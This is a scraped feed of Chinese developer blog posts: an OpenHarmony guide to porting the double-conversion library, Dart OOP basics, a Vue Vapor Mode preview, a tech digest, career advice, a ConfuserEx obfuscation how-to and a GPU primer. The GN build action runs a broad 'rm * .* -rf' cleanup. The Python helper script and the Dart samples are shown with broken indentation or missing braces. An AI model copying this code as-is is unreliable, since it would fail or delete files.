    set(CMAKE_C_FLAGS "--target=arm-liteos -D__clang__ -march=armv7-a -w -mfloat-abi=softfp -mcpu=cortex-a7 -mfpu=neon-vfpv4")
    #指定c++编译工具(确保工具链所在路径已经添加到了PATH环境变量中)和编译标志,必须指定--target,否则无法交叉编译。
    set(CMAKE_CXX_COMPILER clang++) 
    set(CMAKE_CXX_FLAGS "--target=arm-liteos -D__clang__ -march=armv7-a -w -mfloat-abi=softfp -mcpu=cortex-a7 -mfpu=neon-vfpv4")
    #指定链接工具和链接标志,必须指定--target--sysroot,其中OHOS_ROOT_PATH可通过cmake命令后缀参数来指定。
    set(MY_LINK_FLAGS "--target=arm-liteos --sysroot=${OHOS_SYSROOT_PATH}")
    set(CMAKE_LINKER clang)
    set(CMAKE_CXX_LINKER clang++)
    set(CMAKE_C_LINKER clang)
    set(CMAKE_C_LINK_EXECUTABLE
        "${CMAKE_C_LINKER} ${MY_LINK_FLAGS} <FLAGS> <LINK_FLAGS> <OBJECTS> -o <TARGET> <LINK_LIBRARIES>")
    set(CMAKE_CXX_LINK_EXECUTABLE
        "${CMAKE_CXX_LINKER} ${MY_LINK_FLAGS} <FLAGS> <LINK_FLAGS> <OBJECTS> -o <TARGET> <LINK_LIBRARIES>")
    #指定链接库的查找路径。
    set(CMAKE_SYSROOT ${OHOS_SYSROOT_PATH})

2. 执行编译 linux命令行中进入double-conversion的源文件目录(即标1所示目录),执行下列命令:

    mkdir build && cd build
    cmake .. -DBUILD_TESTING=ON -DOHOS_SYSROOT_PATH="..."
    make -j

其中OHOS_SYSROOT_PATH需用绝对路径指定出sysroot目录的位置,以OpenHarmony为例即目录out/hispark_xxx/ipcamera_hispark_xxx/sysroot的绝对路径。上述目录会在全量编译后生成,因此移植前先完成一次全量编译。

  1. 查看结果 步骤2操作完成后,build目录下会生成静态库文件和测试用例:

表2 编译生成文件目录结构

名称描述
double-conversion/build/libdouble-conversion.a生成的静态库文件
double-conversion/build/test/目录下存放生成的测试用例和相关CMake缓存文件
double-conversion/build/CMakeCache.txtCMake构建过程中的缓存文件
double-conversion/build/CMakeFiles/-
double-conversion/build/cmake_install.cmake-
double-conversion/build/CTestTestfile.cmake-
double-conversion/build/DartConfiguration.tcl-
double-conversion/build/generated/-
double-conversion/build/Makefile-
double-conversion/build/Testing/-

测试

  1. 搭建OpenHarmony环境 以Hi3516DV300为例,编译出OpenHarmony镜像,烧写到开发板,相关操作可参考快速入门小型系统部分。

进入系统如下所示:

图1 OpenHarmony启动成功界面

  1. 挂载nfs目录,将表2中test目录下cctest可执行文件放入nfs目录

  2. 执行用例 该库采用非交叉编译时用例是通过make test执行,CMake会有相关的执行结果统计;交叉编译时无法使用该方法,因此可直接执行生成的测试文件完成测试。

  • 挂载成功后执行下列命令可列出用例所有条目:
        cd nfs
        ./cctest --list

上述命令执行结果部分展示:

        test-bignum/Assign<
        test-bignum/ShiftLeft<
        test-bignum/AddUInt64<
        test-bignum/AddBignum<
        test-bignum/SubtractBignum<
        test-bignum/MultiplyUInt32<
        test-bignum/MultiplyUInt64<
        test-bignum/MultiplyPowerOfTen<
        test-bignum/DivideModuloIntBignum<
        test-bignum/Compare<
        test-bignum/PlusCompare<
        test-bignum/Square<
        test-bignum/AssignPowerUInt16<
        test-bignum-dtoa/BignumDtoaVariousDoubles<
        test-bignum-dtoa/BignumDtoaShortestVariousFloats<
        test-bignum-dtoa/BignumDtoaGayShortest<
        test-bignum-dtoa/BignumDtoaGayShortestSingle<
        test-bignum-dtoa/BignumDtoaGayFixed<
        test-bignum-dtoa/BignumDtoaGayPrecision<
        test-conversions/DoubleToShortest<
        test-conversions/DoubleToShortestSingle<
        ...
  • 以test-bignum条目为例,执行下列命令开始测试:
        ./cctest test-bignum

测试结果如下则表示通过:

        Ran 13 tests.
DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:
1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

将该库编译添加到OpenHarmony工程中

  1. 复制库到OpenHarmony工程中 拷贝已经能够成功交叉编译的库到OpenHarmony的third_party目录,为了不修改要移植的三方库目录下的BUILD.gn文件,再添加一层目录放置新增的gn转CMake编译适配文件,新增的文件有BUILD.gn、build_thirdparty.py、 config.gni,新增后的目录结构如下所示。

表3 添加到工程后的目录结构

名称描述
OpenHarmony/third_party/double-conversion/BUILD.gn将三方库加入工程的gn适配文件
OpenHarmony/third_party/double-conversion/build_thirdparty.pyGN调用shell命令脚本文件,由上面GN文件将相关命令传入,实现GN转CMake
OpenHarmony/third_party/double-conversion/config.gni三方库编译配置文件,可修改该文件来配置用例是否参与构建等
OpenHarmony/third_party/double-conversion/double-conversion/要移植的三方库目录
  1. 添加gn到CMake适配文件
  • 新增的BUILD.gn文件实现如下,其他采用CMake方式可独立编译的三方库移植到OpenHarmony平台时只需修改路径即可
        import("config.gni")
        group("double-conversion") {
            if (ohos_build_thirdparty_migrated_from_fuchisa == true) {
                deps = [":make"]
            }
        }
        if (ohos_build_thirdparty_migrated_from_fuchisa == true) {
            action("make") {
                script = "//third_party/double-conversion/build_thirdparty.py"
                outputs = ["$root_out_dir/log_dc.txt"]
                exec_path = rebase_path(rebase_path("./build", ohos_third_party_dir))
                command = "rm * .* -rf && $CMAKE_TOOLS_PATH/cmake .. $CMAKE_FLAG $CMAKE_TOOLCHAIN_FLAG && make -j"
                args = [
                    "--path=$exec_path",
                    "--command=${command}"
                ]
            }
        }
  • 新增的config.gni用于配置该库,实现如下,其他采用CMake方式可独立编译的三方库移植到OpenHarmony时只需修改CMAKE_FLAG的配置即可。
        #CMAKE_FLAG: config compile feature
        CMAKE_FLAG = "-DBUILD_TESTING=ON -DCMAKE_CXX_STANDARD=11"

        #toolchain:follow up-layer,depend on $ohos_build_compiler
        if (ohos_build_compiler == "clang") {
            CMAKE_TOOLCHAIN_FLAG = "-DOHOS_SYSROOT_PATH=${root_out_dir}sysroot"
        } else {
            CMAKE_TOOLCHAIN_FLAG = ""
        }

        #CMake tools path,no need setting if this path already joined to $PATH.
        CMAKE_TOOLS_PATH = "setting CMake tools path..."
  • 新增的build_thirdparty.py实现如下,其他采用CMake方式可独立编译的三方库移植到OpenHarmony时无需修改即可使用。
        import os
        import sys
        from subprocess import Popen
        import argparse
        import shlex

        def cmd_exec(command):
            cmd = shlex.split(command)
            proc = Popen(cmd)
            proc.wait()
            ret_code = proc.returncode
            if ret_code != 0:
                raise Exception("{} failed, return code is {}".format(cmd, ret_code))

        def main():
            parser = argparse.ArgumentParser()
            parser.add_argument('--path', help='Build path.')
            parser.add_argument('--command', help='Build command.')
            parser.add_argument('--enable', help='enable python.', nargs='*')
            args = parser.parse_args()

            if args.enable:
                if args.enable[0] == 'false':
                  return

            if args.path:
                curr_dir = os.getcwd()
                os.chdir(args.path)
                if args.command:
                    if '&&' in args.command:
                        command = args.command.split('&&')
                        for data in command:
                          cmd_exec(data)
                  else:
                      cmd_exec(args.command)
              os.chdir(curr_dir)

         if __name__ == '__main__':
            sys.exit(main())
  • 在配置文件中添加开关控制该库编译,默认设为关闭

在//build/lite/ohos_var.gni文件中添加下列配置:

        declare_args() {
            ohos_build_thirdparty_migrated_from_fuchisa = true
         }

3. 编译构建 手动单独构建:

执行下列命令

    hb build -T //third_party/double-conversion:double-conversion

编译成功则build目录下会生成静态库文件和测试用例

by 塞尔维亚大汉 at January 19, 2025 01:33 PM

juejin android

深入理解面向对象三大特性

屏幕截图 2025-01-16 191553.png

前言

  • 学习之路需深耕细作,切勿轻视任一知识点,因其存在必蕴含深意

  • 面向对象的三大特性指的是封装继承多态。这些特性使得面向对象编程(OOP)成为一种强大且灵活的编程范式。面向对象编程的这三大特性相互协作,使得开发者能够创建更加模块化复用性强易于维护的代码。通过封装,可以隐藏对象的内部实现细节;通过继承,可以实现代码的重用和扩展;通过多态,可以实现更加灵活和动态的行为。

封装

  1. 封装的定义
  • 封装是一种信息隐蔽技术,是将对象的属性和方法结合在一起,并隐藏对象的内部细节,仅对外公开接口。
  • 通过封装,可以保护对象的数据不被外部直接访问和修改,从而确保数据的完整性和安全性。

直接上图

屏幕截图 2025-01-16 194918.png

将插线板比作对象,它由一块电板(属性)以及复杂的电路(方法)组成,我们不用去搞懂他的电路构造(内部细节),只需要电工(开发人员)将其封装好,我们就可以通过插孔(接口)直接使用了。

  1. 封装的使用
class Person {
  String name = "二狗";
   int age = 20;

  @override
  String toString() {
    return '姓名: $name, age: $age}';
  }
}
void main() {
  Person person = Person();
  print(person.age);
  print(person.toString());
  //输出:
  //20
  //姓名: 二狗, 年龄: 20}
  1. 优点
  • 数据隐藏:封装通过私有成员(如私有变量和方法)隐藏了对象的内部状态和行为,仅通过公共接口(如getter和setter方法)暴露必要的部分。这有助于保护数据不被外部直接访问和修改,从而减少了错误和依赖。
  • 模块化:封装使得类可以作为一个独立的模块来设计和实现,减少了类之间的耦合。这有助于代码的维护和扩展,因为你可以在不影响其他部分的情况下修改或替换一个类的实现。
  • 抽象层次:封装提供了不同层次的抽象,使得程序员可以关注于更高层次的功能,而不必关心底层的实现细节。这有助于提高代码的可读性和可维护性。

继承

  1. 继承的定义
  • 继承是指子类可以继承父类的属性和方法,从而实现代码的重用。
  • 通过继承,子类可以扩展父类的功能,同时保留父类的现有行为。
  • 继承有助于建立类之间的层次结构,使得代码更加模块化易于维护

直接上图

屏幕截图 2025-01-16 204650.png

图中的Person类是Teacher类和Student类的父类(基类),反之Teacher类和Student类是Person类的子类(派生类)

2.继承的使用

在Dart中,继承同样是一种强大的面向对象编程特性,它允许一个类(子类)继承另一个类(父类)的属性和方法。子类可以重用父类的代码,并且可以添加新的属性、方法或重写父类中的方法。

class Animal {
  String name;
  int age;

  Animal(this.name, this.age);

  void speak() {
  }

  void info() {
    print('Name: $name, 年龄: $age岁');
  }
}

// 定义派生类(子类) Dog 继承自 Animal
class Dog extends Animal {
  String breed;
  Dog(super.name,super.age,this.breed);
  @override
  void speak() {
    print('$name 在汪汪叫!');
  }
}

class Cat extends Animal {
  String color;
  Cat(super.name,super.age,this.color);

  @override
  void speak() {
    print('$name 在喵喵叫');
  }
}


void main() {
  Dog dog = Dog('小狗', 3, '边牧');
  dog.speak();
  dog.info();

  Cat cat = Cat('小猫', 2, '黑色');
  cat.speak();
  cat.info();
  1. 继承的优点
  • 代码重用
    继承允许子类复用父类的代码。这意味着如果多个类有共享的功能或属性,你可以将这些共享的部分放在一个父类中,然后让子类继承这个父类。这样,你就不需要在每个子类中重复编写相同的代码了。

  • 扩展性
    通过继承,子类可以在父类的基础上添加新的功能或属性,从而扩展父类的能力。这种扩展性使得代码更加灵活,能够适应不断变化的需求。

  • 多态性
    继承是实现多态性的基础。多态性允许你使用父类类型的引用来指向子类对象,并根据实际对象的类型来调用相应的方法。这使得代码更加通用和灵活。

多态

  1. 多态的定义

多态(Polymorphism)是面向对象编程中的一个核心概念,它允许一个接口被多个不同的类实现。相同的操作或函数可以在作用于不同的对象时,产生不同的解释和不同的执行结果。

直接上图

屏幕截图 2025-01-19 211129.png

图中打印机中的打印方法彩色打印机黑白打印机实现,但具体的实现方式各有不同, 同一种方法被不同对象使用时会有不同的表现形式。

2.多态的使用

abstract class Flyable {
    void fly();
} 
class Bird implements Flyable { 
    @override void 
    fly() { 
        print("I'm flying!"); 
    } 
} 
void main() { 
Flyable flyable = Bird();
flyable.fly();
// 输出: I'm flying! 
}

在这个例子中,Bird类实现了Flyable接口,并提供了fly方法的具体实现。这样,Bird类的对象就可以被赋值给Flyable类型的变量,并通过这个变量来调用fly方法。

3.多态的优点

  1. 提高了代码的复用性和可扩展性:通过多态,可以使用父类类型的变量来引用子类对象,从而实现代码的复用。同时,当需要添加新的子类时,只需要继承父类或实现接口,并重写相应的方法即可,无需修改现有代码。
  2. 增强了代码的灵活性:多态允许在运行时动态地调用子类的方法,从而可以根据不同的对象类型执行不同的行为。
  3. 简化了代码结构:多态使得可以使用更少的代码来处理不同类型的对象,从而简化了代码结构。

by 科昂 at January 19, 2025 01:22 PM

juejin frontend

🚀🚀🚀Vapor Mode发布前,你应该知道的一些事情!

前言

Vue3Vapor Mode概念不知不觉已经提出来一年了,可以说是吊足了coder们的胃口,我去年的一篇莫名其妙成为爆款的文章🎉尤雨溪为什么要推出Vapor Mode🎉中,我直观的展示了细粒度更新dom的优点,让大家历历在目!

新的消息,2025 年 1 月 29 日至 30 日,将会举办Vue.js Nation Conference,详情你可以看这里:vuejsnation.com/

会议议题最值得关注的有两个:

  • vue3.6 功能预览
  • vapor mode 的最新进展

十分期待这次的会议,不过在了解vapor mode功能前。我们可以先了解下它解决了哪些问题。

Vapor Mode 将会解决的一些问题

💎 重复的dom渲染

众所周知,vueview模块被设计成以template对应的render函数为最小单元更新视图(也就是以组件为粒度更新),

所以在一些极端场景下,例如页面中有大量动态更新的节点时,diff计算仍然可能造成性能瓶颈,因为仍然会有不必要的dom渲染。

所以vapor mode的首要目标是解决各种场景的性能瓶颈。最好的方案是跳过虚拟dom,直接绑定数据到具体的dom节点,实现细粒度更新。

目前(虚拟dom版本)这么设计的原因并非无法实现以最小dom为粒度更新视图,而是以组件更新,可以较少复杂的diff计算。

vapor modevue成为细粒度更新的框架,必然需要打破这一行为(放弃基于虚拟dom更新)!

目前所有的框架中,已经实现的将数据和具体dom节点绑定的框架有:svelte 5solidjsangular 16

粒度成员
粗粒度React
中粒度Vue
细粒度SolidJSSvelte Angular 16

而这些框架的无独有偶选择拥抱了siganl系统实现了数据和具体dom的绑定!

我们可以预见:vue3.x大版本中,是不会放弃基于proxyreactivity响应式系统的,

如果vapor mode3.x大版本中发布,我们将会看到基于reactivity系统的数据和具体dom的绑定的方案。

💎 耗时的运行时

还有一个问题,我们以前提到,vue虽然不像react一样重运行时,但是他的运行时,相对于signal系统的方案,还是偏长,

image.png

这是因为vue的响应式系统虽然精准,但依赖追踪是在运行时动态绑定的,复杂应用中会出现过多的无用依赖,导致性能下降。

所以vapor dode将会引入静态依赖绑定,在编译阶段确定数据与副作用之间的关系,避免运行时依赖追踪的开销。

💎 SSR性能与客户端Hydration激活

我们知道,服务器端渲染(SSR)功能是现代前端框架的重要特性,目前该功能的统一流程是:服务端渲染SSR生成静态的html片段,然后客户端Hydration激活,生成动态内容和事件绑定,

在激活时,先要进行一次服务端的静态html和客户端的虚拟dom对比,如果两者不一致,Hydration 会丢弃服务端的HTML,重新生成客户端的DOM,这部分也会消耗性能,所以仍存在性能优化空间。

前面说过vapor dode将会引入静态依赖绑定,这样的话在理论上不需要html和客户端的虚拟dom的对比了。

最后

如果vapor mode如上所说,放弃了基于dom的更新方案,尽管性能得到了提升,但是也会面临新的挑战:

首先,开发者需要理解信号系统的基本原理,习惯以细粒度更新方式思考组件的概念了。

其次,另外vapor mode的引入可能使现有的vue工具链(如 Vue DevTools、插件生态)发生翻天覆地的变化。

另外,vuevapor mode可能会和angular一样,同时保留旧的虚拟DOM渲染模式和新的细粒度渲染模式,

所以,希望每个开发者可以在特定场景中选择性的使用Vapor Mode,无需大规模重构现有项目,从而实现性能和开发体验的最佳平衡!

无论如何,vapor mode的发布将会推动前端框架在高性能和易用性之间找到新的平衡点,让我们拭目以待吧!!!

如果你觉得这篇文章不错,可以关注同步更新最新文章的公众号:萌萌哒草头将军

如果文章中,存在纰漏,欢迎指正!

by 萌萌哒草头将军 at January 19, 2025 01:16 PM

juejin article

视野修炼第117期 | 24年前端明星项目

欢迎来到第 117 期的【视野修炼 - 技术周刊】,下面是本期的精选内容简介

🔥强烈推荐

  1. 2024年 JS 明星项目
  2. CSS 选择器知识合集
  3. 从任意图像生成渐变背景色
  4. Node v23.6 - 内置默认支持TS

🔧开源工具&技术资讯

  1. trimMiddle - 字符串中间截断
  2. Easing Wizard - CSS 动画缓动曲线编辑
  3. opfs-finder
  4. facad - ls美化
  5. CSS变量编辑器
  6. pnpm v10
  7. electrobun - 基于Bun的跨平台桌面应用框架

📚教程&文章

  1. CSS 中平衡文本展示的方法
  2. htmx的未来规划

🤖AI工具&资讯

  1. Raphael AI - 无限制的文生图

下面开始本期内容的介绍,预计阅读时间 9 分钟,量大🍚。

🔥强烈推荐

1. 2024年 JS 明星项目

又到一年认标的时候,看看今年有哪些新面孔吧!

与 2023 年一样,shadcn-ui 仍然是今年最热门的项目,继续蝉联榜首。

将组件代码直接放入项目源代码中,这和传统的组件库大不相同。

大火的另一原因是与 v0.dev(通过自然语言描述生成项目) 结合得非常好。

第二名是 Excalidraw 创建具有独特手绘风格的数字绘图画板,有AI 加持,自动生成模板图表。

第三名 AFFiNE 也是一个知识库和项目管理工具。

Bun 的话从前三掉出来了,2/3都偏应用。

再看一下其它细分的榜单:

前端框架React 生态
Vue 生态后端 / 全栈
工具状态管理

大部分还是熟悉的面孔。

But,但除了几个主流的前端框架和库,大部分其它的在公司的💩⛰里都用不上

2. CSS 选择器知识合集

每一个案例都有视频讲解和一个小测试,下面是其中一个基础案例。

Q:选择div下的h1 和 h2A:使用 :is 伪类更加灵活

3. 从任意图像生成渐变背景色

4. Node v23.6 - 内置默认支持TS

当然还是有不少限制,比如不支持 tsconfig.json ,不支持未来特性的编译等。

🔧开源工具&技术资讯

5. trimMiddle - 字符串中间截断

有一个长字符串,并且希望保留开头和结尾并在中间截断,你可以试试这个。

6. Easing Wizard - CSS 动画缓动曲线编辑

一个在线工具,便捷的编辑和生成CSS动画缓动曲线。

站点还分类的提供了许多现成的示例。

收藏!

7. opfs-finder

浏览器中实现 MacOS Finder,利用到了 OPFS( Origin Private File System) - 浏览器中的文件系统 API,高性能且无需用户授权

往期提到过 opfs ,还是很有使用前景的技术

8. facad - ls美化

查看目录文件的终端工具。

可以设置成 ls 的别名,适应习惯。

alias ls=facad

9. CSS变量编辑器

一个 Chrome 插件,用于管理 CSS 变量中色值。

如果网站主题色基于 CSS 变量实现,结合这个插件调色非常方便。

这个面板会添加到 Chrome 的开发者工具中。

10. pnpm v10

环境 Node.js>=18 ok 的话,无脑升级即可。

当然需要注意的是,出于安全考虑,pnpm 不再运行依赖项的生命周期脚本。需要手动指定

{
  "pnpm": {
    "onlyBuiltDependencies": ["fsevents"]
  }
}

11. electrobun - 基于Bun的跨平台桌面应用框架

现在还处于早期阶段,目前仅支持基于 ARM 的 Mac。

编写 TS 使用 Bun 来执行与 Webview 交互。

📚教程&文章

12. CSS 中平衡文本展示的方法

文章介绍了如何利用 CSS 能力使文本在视觉上更加平衡,对 text-wrap 及其不同值的作用进行了深入的介绍。

13. htmx的未来规划

拿下了24年框架榜 1 的明星项目

htmx 团队正在努力将其打造为新时代的 "jQuery",希望模拟 jQuery 的技术特性,使其成为 Web 开发的高效低成本的工具包。

🤖AI工具&资讯

14. Raphael AI - 无限制的文生图

速度还不错!

⭐️强力推荐关注

周刊部分内容来源如下渠道,推荐大家关注。

by 粥里有勺糖 at January 19, 2025 12:33 PM

juejin career

互联网必备职场知识(3)—— 快速学习

学习目的和边界

设定学习边界,学到什么程度,解决什么问题,学习目标设定。

比如学产品,学完以后,可以入职公司上班,完成工作上的任务。

  • 职场通用能力
  1. 做事计划能力,保证事项可控。
  2. 基本文案能力,日常的汇报、邮件。
  3. 基本沟通能力,能和陌生人聊得下去。
  4. 大众心理学(用户相关)、历史(经验相关)、美学(设计相关)、技术(研发相关)。
  5. 基础经济理论,交易、金融、支付、下单等场景。
  • 产品专业能力
  1. 调研能力,问卷。
  2. 数据分析能力,多少人用了(代表产品解决了问题)、多少人走了(代表产品没解决问题),这两个数据框定产品能力范围,毕竟一个产品只能解决一部分人的问题。多少人用一次,多少人一直用,一直用代表用户留存,留存的用户可以做商业化,商业化的意思是,我帮你解决问题,你给我钱。
  3. 产品文档能力,用产品文档格式,把每一段用写作能力写完。
  4. 产品原型能力。
  5. 需求方沟通能力,需求的定义,聊完后写出目标明确文档,还提供做完后的可量化的价值,口嗨的东西叫 idea。需求表,背景,做什么,结果预测。
  6. 项目管理能力,项目表:功能、接口人、实现时间、风险和备注。

再提升 扩大学习边界,深挖工作内容,项目复杂性、多项目并行、看需求上下游、老板、同事在做什么,尝试理解他们在做什么,以及和我做的事有什么关系,把点连成面。

学习方法

  • 看书
    看书学的慢,还要找有反馈的机制,来帮助理解和加深记忆,比如AI。

  • 直属上级
    主动找直属上级请教,他有义务帮底下的人成长。

  • 同岗位的牛人/前辈
    要注意人情世故,这些人没有义务帮忙,要提供一些价值比如情绪价值,尊重、感觉看到了曾经的自己。

  • 寻找崇拜的人
    长久尊重的人,在他们身上学习。促使自身学习动力。

实践

理论和实践的差距,理论是抽象,实践是细节,实践的目的是理论说的,但达成路径不能按照理论说的套用。

案例:
用户调研

错误示范:
发放问卷,直接问用户觉得我们产品做的怎么样?有哪些要改进的?等等
没人填,就发钱促使用户填写
填写完后总结,分析问卷数据
得出做的还不错结论
发给老板被骂

错误原因:
没有关注调研的目的是否真正达到,以及调研的方法是否真正可用。

错误点:
发问卷的方式,有适用场景和边界。
发钱、优惠券等高价值的东西,促使填问卷的人为了获得利益瞎填,而不是真正的想法,脏样本很多,调研结论无效。

正确示范:
偏销售系统的调研,针对销售人员做更好支撑,挖掘销售人员真实的需求和反馈。

  • 先去找销售们,聊天吃饭喝酒。让他们放下戒备,当自己人。
    目的:得到真实的反馈。
    前提:想要真实的反馈,先让他认为可以说真话。

  • 拉近距离后,真正开始调研。调研技巧是,不能问太宽泛、太大问题,聚焦于场景、案例下特定的情况。
    比如询问刚刚那个客户来了几次,为什么没有更新进度?
    总部想法:实时更新进度,用于做渠道跟进。
    销售想法:还没聊完,晚上一起改。
    比如还有个客户明明有意向,为什么更新没意向?
    销售想法:月底了,这个月目标已达成,囤到下个月再用。

方法论:

  • 让人进入可以坦诚、真诚说话的场景和情绪。

具体细节:

  • 用户愿意填问卷,是基于我们把产品做的更好,对他本身也是有好处的。(解决用户不愿意填)
  • 用户在填写问卷的时候,面临把同一个问题用不同的话术问三遍。(解决没有选项、但写起来又麻烦不想写的问题,想办法把问题分的更细,探究用户真实的想法,防止用户欺骗。)

复盘

方法论:
从过去做事的过程中,不管是成功的,还是失败的,不断总结出一些心得,把这些心得抽象、总结出一种通用的方式;在做其他事的时候,尝试应用,提高效率和成功率。
比如马斯克第一性原理:任何一个在物理法则范围内的事,一定有一个通用的原理可以解决。

案例:准备一个给上级汇报的方法论。

老板突然过来说,把项目写个 PPT,大老板要过来问,明天去汇报一下。

  1. 为什么要做?分析做事的动机和目的。
  2. 分析完后,思考有没有别的更好的路径可以达成。
  3. 自身能力,能否胜任,保证有能力胜任这个汇报。
  4. 时间要求,具体到小时时间段。
  5. 资源支撑情况。自身不能解决的范畴,外部资源的支撑情况。

汇报不仅仅是汇报,也可以得到一些我们想要的东西,比如项目的推动、更多资源和时间、老板的重视、阐明事情的价值等。

针对这个案例,再次抽象成通用的方法论。

  1. 凡事都问为什么。
  2. 奥卡姆剃刀原则,非必要就不做。
  3. 定位自己的能力边界,需要的资源。不要接一些自己做不到的事。
  4. 时间观念,做事、开会约好的时间不要迟到,主持会议要对每个参会的重要人员发私聊、邮件。
  5. 资源支持。做任何事,开会、汇报可以从中得到什么,比如资源支撑、困难的解决方案、风险点等等。开会 4 个事,一定要带 2 个事的结果走。

by jianzhangg at January 19, 2025 12:06 PM

juejin backend

使用ConfuserEx代码混淆工具保护你的.NET应用程序

前言

.NET应用如何防止被反编译?这个对于.NET开发而言是一个值得关注的问题,防止应用程序被反编译的手段有很多本文我们主要讲讲如何使用ConfuserEx代码混淆工具保护你的.NET应用程序。

ConfuserEx .NET混淆工具介绍

ConfuserEx是一个功能强大且广泛使用的.NET代码混淆工具。它支持多种混淆技术,包括控制流混淆、字符串加密、资源加密等。它具有灵活的配置选项,可以根据不同的需求进行定制。

注意注意:不足的是目前只支持.NET Framework 2.0/3.0/3.5/4.0/4.5/4.6/4.7/4.8,不支持.NET Core代码混淆,本章.NET版本代码示例使用的是.NET Fx4.7.2。

三款免费的.NET混淆工具推荐

需要支持.NET Core代码混淆的工具可以看下面这篇文章中介绍的几款免费工具。

mp.weixin.qq.com/s/hXGRdQjC7…

.NET反编译相关的文章

ConfuserEx .NET混淆工具安装

ConfuserEx-GUI.zip包解压即可使用:

使用ConfuserEx工具混淆.NET Fx .dll文件

添加需要混淆的.dll文件

将待混淆的.dll文件拖拽进中间方框区域(Drag input modules here),如下图所示:

设置混淆规则

选择Settings项,添加混淆规则,如下图所示:

设置混淆规则:Protections选择anti ildasm,应该是防止IL反编译。因为Ildasm.exe是微软提供的.NET的IL反编译器。

选择Proect!选项开始混淆

点击【Protect!】,就开始混淆了,Finished代表混淆完成并成功。

混淆成功保存的文件目录:

混淆前后反编译代码对比

混淆之前反编译结果:

混淆之后反编译结果:

一、用ILSpy无法打开:

二、用.NET Reflector反编译结果:

使用ConfuserEx工具混淆.NET Fx 混淆.exe文件

添加需要混淆的.exe文件

选择Settings选项卡,添加混淆规则

注意:这里与.dll文件设置混淆规则不一样,需要要设置Packer,压缩打包,且不需要编辑规则。

选择Proect!选项开始混淆

点击【Protect!】,就开始混淆了,Finished代表混淆完成并成功。

ILSpy查看混淆前后的.exe文件对比

混淆之前:

混淆之后:

运行混淆后的.exe文件

by 追逐时光者 at January 19, 2025 11:56 AM

技术总结|十分钟了解GPU

最近在看《黄仁勋:英伟达之芯》,这本书讲述了英伟达是如何一步一步优化GPU,感觉创业不易,不过本文为了让大家更好了解GPU,所以简单汇总了一些知识点。

 1、GPU这么快? 

作为程序员都知道我们现有的程序包括两种类型:

  • 顺序执行的程序
  • 并行执行的程序

1.1 顺序执行

def sequential_calculation():
    a = 0
    b = 1
   
    for _ in range(1000):
        a, b = b, a + b
    
    return b

从上面代码看出,a和b的计算是相互依赖的,这段代码是没法直接改为并行执行。

1.2 并行执行

def parallel_multiply():
    numbers = range(1000)
    results = []

    for n in numbers:
        results.append(n * 2)

    return results

并行是可以让多个程序同时执行,比如上面的代码,由于results每个元素的结果是独立的,可以让numbers的每个元素独立计算,不需要依赖顺序。

1.3 GPU更适合处理并行代码

从广义上讲,GPU更适合处理并行代码,CPU更适合处理顺序代码,由于CPU是大核,比如apple的M3芯片有8个CPU,而GPU是小核,比如英伟达的 A100 有5120个核心。

GPU拥有数千个简单的核心,可以同时对不同的数据执行相同的操作,所以GPU对于简单的并行计算是非常快的,比如矩阵运算,图像处理,渲染视频游戏图形,深度学习等。其中渲染视频游戏图形就是许多简单重复计算,在你玩游戏的过程中,像素实际是一个矩阵,如果每一帧需要重新渲染,实际可以利用数千核同时计算,这就是为什么GPU在游戏渲染上非常快。

1.4 厨师和助手

CPU 想象成忙碌餐厅厨房里的厨师,厨师可以独立完成很多事情:

  • 当 VIP 客人有特殊饮食要求时,立即调整烹饪计划
  • 在准备精致酱汁和检查烤蔬菜之间无缝切换
  • 通过重新组织整个厨房工作流程来处理意外情况
  • 精心安排多道菜品,让它们在恰当的时机上菜
  • 在处理数十个处于不同完成状态的订单的同时保持菜品质量

相比之下,GPU 核心就像一百名擅长重复性任务的助手,他们可以在几秒钟内切好洋葱,但无法有效地管理整个厨房,如果你要求 GPU 处理不断变化的晚餐服务需求,它会很吃力。

 2、FLOPS 

FLOPS 即每秒浮点运算次数,衡量处理器每秒可以对十进制数执行多少次数学计算,它对于科学模拟、人工智能训练和图形渲染等任务尤为重要,单位如下:

  • KFLOPS:千(千)FLOPS - 10³ FLOPS
  • MFLOPS:百万 FLOPS - 10⁶ FLOPS
  • GFLOPS:千兆(十亿)FLOPS - 10⁹ FLOPS
  • TFLOPS:Tera(万亿)FLOPS - 10¹² FLOPS

2.1 什么是浮点运算

浮点运算是指对浮点数执行的数学计算,包括:加法和减法,乘法,除法,平方根,指数和对数等。 每一个都算作一次浮点运算,因此,当我们看到 NVIDIA A100 GPU 的"9.7 TFLOPS"之类的数字时,这意味着理论上它每秒可以执行 9.7 万亿次这些基本运算。

2.2 浮点精度

您可能会看到有关 GPU 性能的浮点精度讨论:
例如:A100 GPU 对于 64 位双精度为 9.7 TFLOPS,对于 32 位单精度为 156 TFLOPS。

为什么存在不同的精度,主要考虑计算的性能和存储大小:

  • 半精度(浮点数 16 位):存储更少,精度更低,计算速度更快,例如:3.141(约3-4位数字)
  • 单精度(浮点数 32 位):中等存储,中等精度,例如:3.1415927(约7-8位数字)
  • 双精度(浮点数 64 位):存储更多,更精确,计算速度更慢,例如:3.141592653589793(约15-17位数字)

通常对于视频游戏通常使用单精度,而科学模拟可能需要双精度(包括现在的大模型计算)。

 3、GPU架构 

NVIDIA GPU架构主要由几个模块组成:

  • CUDA 核心:GPU 架构中的主要计算单元,能够处理各种数学和逻辑运算;
  • 内存系统:包括 L1、L2 高速缓存和共享内存等,用于存储数据和指令,以减少 GPU 访问主存的延迟;
  • 高速缓存和缓存行:用于提高 GPU 的内存访问效率;
  • TPC/SM:CUDA 核心的分组结构,一个 TPC 包含两个 SM,每个 SM 都有自己的 CUDA 核心和内存;
  • Tensor Core( 2017 年 Volta 架构引入):Tensor张量核心,用于执行张量计算,支持并行执行FP32与INT32运算;
  • RT Core(2018 年 Turing 架构引入 ):光线追踪核心,负责处理光线追踪加速;

图片

